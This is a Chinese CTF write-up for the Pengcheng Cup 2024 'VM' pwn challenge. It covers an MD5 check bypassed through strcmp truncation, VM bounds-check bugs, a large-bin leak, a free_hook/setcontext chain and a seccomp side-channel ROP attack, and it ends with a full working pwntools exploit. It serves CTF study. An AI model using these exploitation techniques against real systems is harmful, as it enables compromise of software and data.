[鹏城杯 2024] 零解pwn题VM详细图解
前言
这又是一道我通宵做出的vm题,花了10个小时(我可真是进步飞快)
好像从做出强网杯prpr那次起,我对这种0解的vm题不再有敬畏,而是有一种疯狂的渴求。
通宵做在赛场上打不出来的vm题,天亮以后发一个朋友圈,对我似乎已经是家常便饭。
这道题有点套娃,在最外面套了一个密码检验的逻辑,在比赛中我想当然地以为这是在pwn题外面套了一个逆向题,就把这题丢给了re手。
直到一个多小时后我们队的逆向手告诉我这是一个md5检验,然后我才开始想种种方法去破解这个md5,写脚本爆,上cmd5爆,都没爆出来。
又过了n个小时,一拍脑门,这个密文中间怎么带了00。
总之,当我下定决心开始做它的时候我已经做不完了。
我在赛场上逆了2个小时,逆完了它的基本逻辑,这题自然没有prpr难缠。然后晚上七点比赛结束,去吃饭,去休息,去陪女朋友。
晚上十一点再次捡了起来,战至第二天早上七点。
概述
这个md5检验算是一个小彩蛋,并不算本题的难点。本题的真正难点在于其沙箱。
怕有人摸不着头脑我在这里提一句,seccomp-tools工具必须运行到沙箱开启才能识别沙箱,本题前面的密码检验无法通过手工输入绕过,所以我把密码检验patch掉了,所以这里随便输入了个123就接触到了沙箱。
此沙箱只允许open,read,brk,close通过(brk,close这两个系统调用真是多余,本来也无法正常退出)。所以本题属于ORW缺W的情况,且本题无mprotect,无法使用shellcode,使用了白名单,哪怕可以使用shellcode,也无法用不同系统调用绕过沙箱。
此时,有经验的pwn手们应该感应到了,这是一道考察侧信道攻击的题目。
本题的几个模块都不算太难,但都是及其吃时间和脑洞的方向。一言以蔽之,本题为:
逆向+md5爆破+字符串截断知识点+常规vm+large bin+free_hook+magic_gadget+setcontext+ORW+侧信道
究极套娃,这题拆成3题每个都是好题,但凑在一块放到一个10小时的比赛似乎有点变态。
密码绕过
本题的核心部分是一个经典的vm shellcode_loader,需要找到vm指令集的漏洞方可沙箱逃逸攻击成功
但在此之前存在check函数挡住了我们的去路
里面存在很多字符串分割和字符串比较的操作,逆向难度不大,很快找到输入格式:
LOGIN:root\nxxxxx:h3r3_1s_y0u2_G1ft!&&<A开头的密码>\nDONE&&EXIT
这个密码如何得到呢,我队re手在动调后得出结论,本题将密码md5后和程序中原本存在的s1对比。
可以看到,这个s1的第三项为00,即strcmp函数只会比较三位md5,所以我们只需一个以A开头且md5前3字节为 1D 6C 00的字符串即可通过检验
爆破脚本
我这里选择爆破所有字符,包括不可见字符,使用一个create_s函数,通过数字生成对应的字符串。
import hashlib
def create_s(num):
s = ""
while num:
s += chr(num % 0xFF)
num = num // 0xFF
return s
i=0
while 1:
prefix = 'A'
string_to_hash = prefix + create_s(i)
hash_object = hashlib.md5(string_to_hash.encode())
hash_hex = hash_object.hexdigest()
if hash_hex[:6] == "1d6c00":
print(i)
print(string_to_hash.encode())
print(f"找到字符串: {hash_hex}")
break
i+=1
爆破得很快,密码这一关正式通过
密码:
b"LOGIN:root\nxxxxx:h3r3_1s_y0u2_G1ft!&&A\xc2\x9e\x11i\nDONE&&EXIT"
逆向VM
逆向内存结构
逆向一个vm指令集之前,先逆向其内存可以事半功倍
抓住程序中的malloc函数,找到其内存结构
如果你经常做vm,看到这种函数肯定不陌生。它先归零了8块内存。然后将一个内存指针挂到了第九块上
然后把这个指针加了一个去除低3位的size
之后把size除8放到了第12块里
这种函数逆向起来so easy,只看一个函数就能逆出一整个结构体
前面我提到这些,完全符合在申请一个栈的情况,a1[8]为栈顶,a1[9]为栈底,a1[11]为栈高度,那么合理推理,a1的0~7肯定就是通用寄存器了
直接逆向出一个结构体(eip是在do_shellcode逆出来的)
将结构体绑定到函数里的内存,函数就十分美观了,这一个函数直接带出了一整个vm的内存分配,赚大了
内存结构图如下
初始状态内存布局
逆向指令集
拥有了内存的力量,逆向出整个程序是必然的,由于这个vm指令都在一个swtich里面,不是在函数里面,只能用注释标注功能了
我们并不需要将每个功能的用法转为python脚本,需要一直看,找到存在漏洞的点,结合漏洞的需求去逆向输入格式
漏洞发现
吐槽一下,这题套的娃挺多,但实际的漏洞挺低级的
漏洞1(mov r2 ,r1时未检测r2下标)
此题用check_num函数和check_2_num 在使用寄存器时检验其下标是否越界
这里,在mov r2 to r1时,只对r1的下标作了检测,忽略了r2的下标,从而可以造成一个任意地址读到vm寄存器
漏洞2(mov [r1],r2时未检验 r1的地址越界)
一个不算漏洞的问题(realloc时可以创造一个large bin check)
利用链设计
首先要明确的一点是,本题没有任何输出可以使用,所以我们永远无法知道libc基地址和heap_base,但我们的vm寄存器中可以通过漏洞获得它们
创造一个largebin chunk,在堆中留下libc地址和heap地址
初始状态内存布局
这个堆结构太明显了,这明显就是出题人的预期解,他让stack处于register的下方,方便读取。让stack初始大小为0x510超过tcache范围,让shellcode处于stack下方,阻止stack合并到top chunk
所以只需要realloc一个大于0x510的块即可释放原有的stack,并申请原有stack无法满足的大小,即可将stack放入large bin内,可以同时残留libc和heap指针
之后再次realloc,即可创造一个大小合适且残留有指针的stack
ps:这里想到了更省事的获取地址的方法,即直接realloc(0x180),获得一个unsorted bin 即可,堆地址可以在rsp中获得,但我原本的思路也不复杂,不改了
realloc后的内存布局
再次realloc后的内存布局
stack中指针残留仍然存在
利用漏洞1,向寄存器中存入libc和heap地址
提前计算出残留的指针距离寄存器的偏移
将libc地址存入r0,heap地址存入r1
之后通过调试,为这两个寄存器减去它们到基地址的偏移量
自此我们得到了两个存有基地址的vm寄存器
进行n次push,将需要的所有数据填入vm_stack
在上一步中已经得到了heap的基地址,因此,填入vm_stack的全部数据地址均已知
在触发free_hook 时,本chunk会被传入rdi,随后在magic_gadget 中使用。
并且本chunk也要作为栈迁移的栈
所以这里我们需要push的数据有:
使用magic_gadget 时需要填充的指针,使用setcontext时需要填充的寄存器,setcontext后需要迁移到的rop链,猜测的flag
填充的所有数据如下,在编写攻击脚本部分会解释其内容
向vm寄存器中写入magic_gadget和free_hook地址
由于本题libc高于2.29,setcontext依赖的指针变为了rdx,需要一个magic_gadget过渡
使用ROPgadget工具结合grep过滤找到这条gadget
寄存器0中存有libc基地址,加上到free_hook的偏移,移入r2,变为free_hook的真实地址
同理,将magic_gadget移入r3
利用漏洞2,将magic_gadget写入free_hook,并free触发
利用存在漏洞的mov_r_to_memory,将r3中的magic_gadget地址写入 [r2] free_hook
随后,调用一次realloc功能
触发free_hook,进入magic_gadget重设rdx,进入setcontext完成寄存器重设和栈迁移,跳入先前设置的rop链
集成try_flag函数,并编写爆破脚本
提前填入栈中的rop链是一种侧信道ROP链,使用strcmp+syscall实现,可以判断填入的字符串前n位是否和flag相等,详情可参考我的另外一篇文章https://xz.aliyun.com/t/16226
通过逐位爆破得到正确的flag
复现环境已上传
exp
# -*- coding: utf-8 -*-
from pwn import *
from std_pwn import *
context(os='linux', arch='amd64',log_level="debug", terminal=['tmux','splitw','-h'])
libc=ELF("./libc-2.31.so")
###############################################################
#根据逆向结果,编写vm_shellcode生成函数
vm_shellcode = b""
def add_r(r_num, num):
global vm_shellcode
vm_shellcode += p8(0x61) + p8(1) + p8(r_num) + p64(num)
def sub_r(r_num, num):
global vm_shellcode
vm_shellcode += p8(0x63) + p8(1) + p8(r_num) + p64(num)
def mov_r2_t_r1(r1, r2):
global vm_shellcode
vm_shellcode += p8(0x12) + p8(4) + p8(r1) + p8(r2)
def realloc(size):
global vm_shellcode
vm_shellcode += p8(20) + p32(size)
def mov_r_to_memory(r_memory,r):
global vm_shellcode
vm_shellcode+=p8(0x12)+p8(16)+p8(r_memory)+p8(r)
def push(data):
global vm_shellcode
vm_shellcode+=p8(0xb4)+p8(1)+p64(data)
def push_r(r):
global vm_shellcode
vm_shellcode+=p8(0xb4)+p8(0)+p8(r)
def pop_r(r):
global vm_shellcode
vm_shellcode+=p8(0xb2)+p8(r)
def push_libc_addr(offset):
mov_r2_t_r1(2,0)
add_r(2,offset)
push_r(2)
def push_heap_addr(offset):
mov_r2_t_r1(2,1)
add_r(2,offset)
push_r(2)
############################################################
#绕过密码检测
def create_s(num):
s=""
while num:
s+=chr(num%0xFF)
num=num//0xFF
return s
def pwn_flag(guess_flag):
global vm_shellcode
vm_shellcode=b""
p=getProcess("10.81.2.238",10033,"./vm")
sla("cmd:",b"LOGIN:root\nxxxxx:h3r3_1s_y0u2_G1ft!&&"+b'A\xc2\x9e\x11i'+b"\nDONE&&EXIT")
# gdba()
###########################################################
#设置libc和heap偏移以及gadget地址
libc_offset=0x07fce9887ea10-0x7fce98692000+0x600
heap_offset=0x5593d1731300-0x5593d1731000
free_hook=libc.sym["__free_hook"]
magic_gadget=0x151990
pop_rax=0x36174
pop_rdi=0x23b6a
pop_rsi=0x2601f
pop_rdx=0x142c92
syscall_ret=0x630A9
ret=0x5506E
#0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
###########################################################
#开始编辑vm_shellocode
#通过realloc制造出地址残留,利用漏洞越界读入寄存器0和1,并减去偏移,使其成为基地址,以后不再修改这两个寄存器
'''
0 存libc_base
1 存heap_base
'''
realloc(0x800)
realloc(0x180)
mov_r2_t_r1(0,14)
sub_r(0,libc_offset)
mov_r2_t_r1(1,16)
sub_r(1,heap_offset)
###########################################################
#将猜测的flag push入栈底,并预设一个./flag
length=len(guess_flag)
flag=flag.ljust(0x40,b"\x00")
reversed_byte_str = flag[::-1]
guess_flag_list=[]
for i in range(8):
hex_int = int(reversed_byte_str[i*8:8+i*8].hex(), 16)
guess_flag_list.append(hex_int)
for i in range(8):
push(guess_flag_list[i])
# 0x67616c662f2e ./flag
push(0)
push(0x67616c662f2e)
###########################################################
#push入一条ROP链(倒着铺)
#ROP链内容:
#open("./flag",only_read)+read(0,len(guess_flag))+strcmp(guess_flag,flag)+syscall
push_libc_addr(syscall_ret)
push(0x40)
push_libc_addr(pop_rdx)
push(0)
push_libc_addr(pop_rdi)
push_libc_addr(0xAA3B0)
push_heap_addr(0x500)
push_libc_addr(pop_rsi)
push_heap_addr(0x450)
push_libc_addr(pop_rdi)
push_libc_addr(libc.sym['read'])
push_heap_addr(0x500)
push_libc_addr(pop_rsi)
push(3)
push_libc_addr(pop_rdi)
push_libc_addr(syscall_ret)
push(2)
push_libc_addr(pop_rax)
################################################
#预设一块用来做magic_gadget+setcontext的空间
#setcontext的设置的寄存器我懒得算了,push进去不一样的数字,gdb过去找想修改的寄存器值
#然后写几个if就可以设置寄存器的值了
for i in range(0xc,0x1d):
if i==0xc:
push_libc_addr(ret)
elif i==0x13:#rsi
push(4)
elif i==0x10:#rdx
push(length)
elif i == 0x14: #rdi
push_heap_addr(0x300+0x140)
elif i == 0xd:
push_heap_addr(0x3b0)
else:
push(i)
#magic_gadget的返回地址
push_libc_addr(0x054F5D)
#magic_gadget的栈迁移地址
push_heap_addr(0x300)
push(0)
###########################################################
# 利用漏洞修改free_hook为magic_gadet,free掉stack ,触发magic_gadet+setcontext
mov_r2_t_r1(2,0)
add_r(2,free_hook)
mov_r2_t_r1(3,0)
add_r(3,magic_gadget)
mov_r_to_memory(2,3)
realloc(0x800)
# gdba()
sla("?hahaha:\n",vm_shellcode)
###########################################################
#通过recv判断程序是否存活
try:
p.recv(5, timeout=1)
p.close()
return True
except:
p.close()
return False
##########################################################
#利用以上编写的try_flag函数逐位爆破flag
flag=b"flag{"
my_list = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)] + ['_', '{', '}',"!","'"]
i=1
while 1:
if flag[-1:]==b"}":
# break
...
for c in my_list:
print(f"侧信道攻击,第{i}次尝试")
sleep(1)
if pwn_flag(flag+c.encode()):
flag+=c.encode()
print("一次攻击成功:"+flag.decode())
sleep(5)
else:
print("字符"+c+"不是正确的字符")
print("目前已知flag:"+flag.decode())
i+=1
print(flag)
- vm.zip 下载
-
[鹏城杯 2024] 零解pwn题VM详细图解
- 前言
- 概述
- 密码绕过
- 爆破脚本
- 逆向VM
- 逆向内存结构
- 逆向指令集
- 漏洞发现
- 漏洞1(mov r2 ,r1时未检测r2下标)
- 漏洞2(mov [r1],r2时未检验 r1的地址越界)
- 一个不算漏洞的问题(realloc时可以创造一个large bin check)
- 利用链设计
- 创造一个largebin chunk,在堆中留下libc地址和heap地址
- 初始状态内存布局
- realloc后的内存布局
- 再次realloc后的内存布局
- 利用漏洞1,向寄存器中存入libc和heap地址
- 进行n次push,将需要的所有数据填入vm_stack
- 向vm寄存器中写入magic_gadget和free_hook地址
- 利用漏洞2,将magic_gadget写入free_hook,并free触发
- 集成try_flag函数,并编写爆破脚本
- exp